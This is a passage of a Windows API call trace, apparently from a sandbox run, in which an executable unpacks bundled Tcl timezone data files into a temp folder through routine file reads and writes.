[0038.759] SetLastError (dwErrCode=0x0) [0038.759] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.759] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.759] GetFileType (hFile=0x10c) returned 0x1 [0038.759] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.759] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.759] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.759] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.759] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.759] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.759] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.759] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.760] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.760] CloseHandle (hObject=0x10c) returned 1 [0038.760] GetLastError () returned 0x0 [0038.760] SetLastError (dwErrCode=0x0) [0038.760] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.760] GetFileType (hFile=0x10c) returned 0x1 [0038.760] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.760] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.760] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.760] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.760] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.760] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.760] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.760] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.760] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.760] CloseHandle (hObject=0x10c) returned 1 [0038.760] GetLastError () returned 0x0 [0038.760] SetLastError (dwErrCode=0x0) [0038.760] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.760] GetFileType (hFile=0x10c) returned 0x1 [0038.761] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.761] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.761] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.761] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.761] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.761] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.761] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.761] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.761] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.761] CloseHandle (hObject=0x10c) returned 1 [0038.761] GetLastError () returned 0x0 [0038.761] SetLastError (dwErrCode=0x0) [0038.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dominica") returned 73 [0038.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dominica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\dominica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.761] GetLastError () returned 0x2 [0038.761] SetLastError (dwErrCode=0x2) [0038.761] GetLastError () returned 0x2 [0038.761] SetLastError (dwErrCode=0x2) [0038.761] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dominica", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dominica", lpFilePart=0x0) returned 0x48 [0038.761] GetLastError () returned 0x2 [0038.761] SetLastError (dwErrCode=0x2) [0038.761] GetLastError () returned 0x2 [0038.761] SetLastError (dwErrCode=0x2) [0038.761] GetLastError () returned 0x2 [0038.761] SetLastError (dwErrCode=0x2) [0038.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dominica") returned 73 [0038.761] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Dominica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\dominica"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.762] GetFileType (hFile=0x10c) returned 0x1 [0038.762] htonl (hostlong=0x96000000) returned 0x96 [0038.762] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.762] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x96, lpOverlapped=0x0) returned 1 [0038.763] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.763] CloseHandle (hObject=0x10c) returned 1 [0038.763] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.763] htonl (hostlong=0x30000000) returned 0x30 [0038.763] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.764] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.764] GetFileType (hFile=0x10c) returned 0x1 [0038.764] htonl (hostlong=0x18f65800) returned 0x58f618 [0038.764] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5da618, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.764] htonl (hostlong=0x70060000) returned 0x670 [0038.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x670) returned 0x55e278 [0038.764] htonl (hostlong=0x70060000) returned 0x670 [0038.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.764] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.764] htonl (hostlong=0xf3200000) returned 0x20f3 [0038.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20f3) returned 0x561090 [0038.764] htonl (hostlong=0x70060000) returned 0x670 [0038.764] htonl (hostlong=0xf3200000) returned 0x20f3 [0038.764] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563190 [0038.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563190 | out: hHeap=0x530000) returned 1 [0038.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.764] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.764] CloseHandle (hObject=0x10c) returned 1 [0038.764] GetLastError () returned 0x0 [0038.764] SetLastError (dwErrCode=0x0) [0038.765] GetLastError () returned 0x0 [0038.765] SetLastError (dwErrCode=0x0) [0038.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.765] GetFileType (hFile=0x10c) returned 0x1 [0038.765] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.765] CloseHandle (hObject=0x10c) returned 1 [0038.765] GetLastError () returned 0x0 [0038.765] SetLastError (dwErrCode=0x0) [0038.765] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.765] GetFileType (hFile=0x10c) returned 0x1 [0038.765] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.765] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.765] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.765] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.766] CloseHandle (hObject=0x10c) returned 1 [0038.766] GetLastError () returned 0x0 [0038.766] SetLastError (dwErrCode=0x0) [0038.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.766] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.766] GetFileType (hFile=0x10c) returned 0x1 [0038.766] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.766] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.766] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.766] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.766] CloseHandle (hObject=0x10c) returned 1 [0038.766] GetLastError () returned 0x0 [0038.766] SetLastError (dwErrCode=0x0) [0038.766] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Edmonton") returned 73 [0038.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Edmonton" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\edmonton"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.767] GetLastError () returned 0x2 [0038.767] SetLastError (dwErrCode=0x2) [0038.767] GetLastError () returned 0x2 [0038.767] SetLastError (dwErrCode=0x2) [0038.767] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Edmonton", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Edmonton", lpFilePart=0x0) returned 0x48 [0038.767] GetLastError () returned 0x2 [0038.767] SetLastError (dwErrCode=0x2) [0038.767] GetLastError () returned 0x2 [0038.767] SetLastError (dwErrCode=0x2) [0038.767] GetLastError () returned 0x2 [0038.767] SetLastError (dwErrCode=0x2) [0038.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Edmonton") returned 73 [0038.767] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.767] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Edmonton" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\edmonton"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.767] GetFileType (hFile=0x10c) returned 0x1 [0038.767] htonl (hostlong=0xf3200000) returned 0x20f3 [0038.767] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0038.769] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.769] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf3, lpOverlapped=0x0) returned 1 [0038.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.769] CloseHandle (hObject=0x10c) returned 1 [0038.769] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.769] htonl (hostlong=0x30000000) returned 0x30 [0038.769] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.770] GetFileType (hFile=0x10c) returned 0x1 [0038.770] htonl (hostlong=0x88fc5800) returned 0x58fc88 [0038.770] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5dac88, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.770] htonl (hostlong=0x59010000) returned 0x159 [0038.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x159) returned 0x550600 [0038.770] htonl (hostlong=0x59010000) returned 0x159 [0038.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.770] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.770] htonl (hostlong=0x96040000) returned 0x496 [0038.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x496) returned 0x550768 [0038.770] htonl (hostlong=0x59010000) returned 0x159 [0038.770] htonl (hostlong=0x96040000) returned 0x496 [0038.770] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.770] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.770] CloseHandle (hObject=0x10c) returned 1 [0038.770] GetLastError () returned 0x0 [0038.770] SetLastError (dwErrCode=0x0) [0038.770] GetLastError () returned 0x0 [0038.770] SetLastError (dwErrCode=0x0) [0038.770] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.770] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.771] GetFileType (hFile=0x10c) returned 0x1 [0038.771] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.771] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.771] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.771] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, 